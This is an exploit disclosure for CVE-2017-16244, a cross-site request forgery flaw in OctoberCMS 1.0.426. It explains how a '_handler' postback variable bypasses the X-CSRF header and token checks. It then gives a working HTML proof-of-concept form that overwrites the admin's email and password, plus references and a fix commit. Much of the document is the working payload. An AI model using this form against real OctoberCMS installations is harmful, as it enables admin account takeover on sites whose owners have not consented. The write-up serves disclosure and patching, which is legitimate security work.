# Exploit Title: OctoberCMS 1.0.426 - CSRF to Admin Account Takover
# Vendor Homepage: https://octobercms.com
# Software Link: https://octobercms.com/download
# Exploit Author: Zain Sabahat
# Website: https://about.me/ZainSabahat
# Category: webapps
# CVE: CVE-2017-16244
 
1. Description

Cross-Site Request Forgery exists in OctoberCMS 1.0.426 (aka Build 426) due to improper validation of CSRF Tokens for postback handling, allowing an attacker to successfully take over the victim's account.
The vendor was using additional X-CSRF Headers and CSRF Token to prevent the CSRF from occurring.The researcher found a way to bypass this protection.After digging more in the Application he found a postback variable "_handler=" which could be used to perform CSRF without X-Headers.The CSRF Tokens were also not being validated when _handler parameter was used to make the request.
In short, this attack bypasses a protection mechanism involving X-CSRF headers and CSRF tokens via a certain _handler postback variable.

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-16244
https://vuldb.com/?id.108857 

2. Proof of Concept
 Below is the CSRF Exploit (.html) which can lead to the takeover of the Admin's Account upon successful execution.

<html>
  <body>
    <form action="http://host/backend/users/myaccount" method="POST">
      <input type="hidden" name="&#95;handler" value="onSave" />
      <input type="hidden" name="User&#91;login&#93;" value="Admin" />
      <input type="hidden" name="User&#91;email&#93;" value="Hacked&#64;hacked&#46;com" />
      <input type="hidden" name="User&#91;first&#95;name&#93;" value="Admin" />
      <input type="hidden" name="User&#91;last&#95;name&#93;" value="1337" />
      <input type="hidden" name="User&#91;password&#93;" value="YourNewPassword" />
      <input type="hidden" name="User&#91;password&#95;confirmation&#93;" value="YourNewPassword" />
      <input type="hidden" name="redirect" value="0" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Upon execution of this CSRF, the Admin Account details will be replaced by ours leading to complete hijacking of Admin Account.
 
3. Reference
 
   https://github.com/octobercms/october/commit/4a6e0e1e0e2c3facebc17e0db38c5b4d4cb05bd0
   https://vuldb.com/?id.108857

4. Solution
 
The vulnerability will be patched by the vendor in the next release of OctoberCMS.Following changes should be made for a temporary fix (https://github.com/octobercms/october/commit/4a6e0e1e0e2c3facebc17e0db38c5b4d4cb05bd0).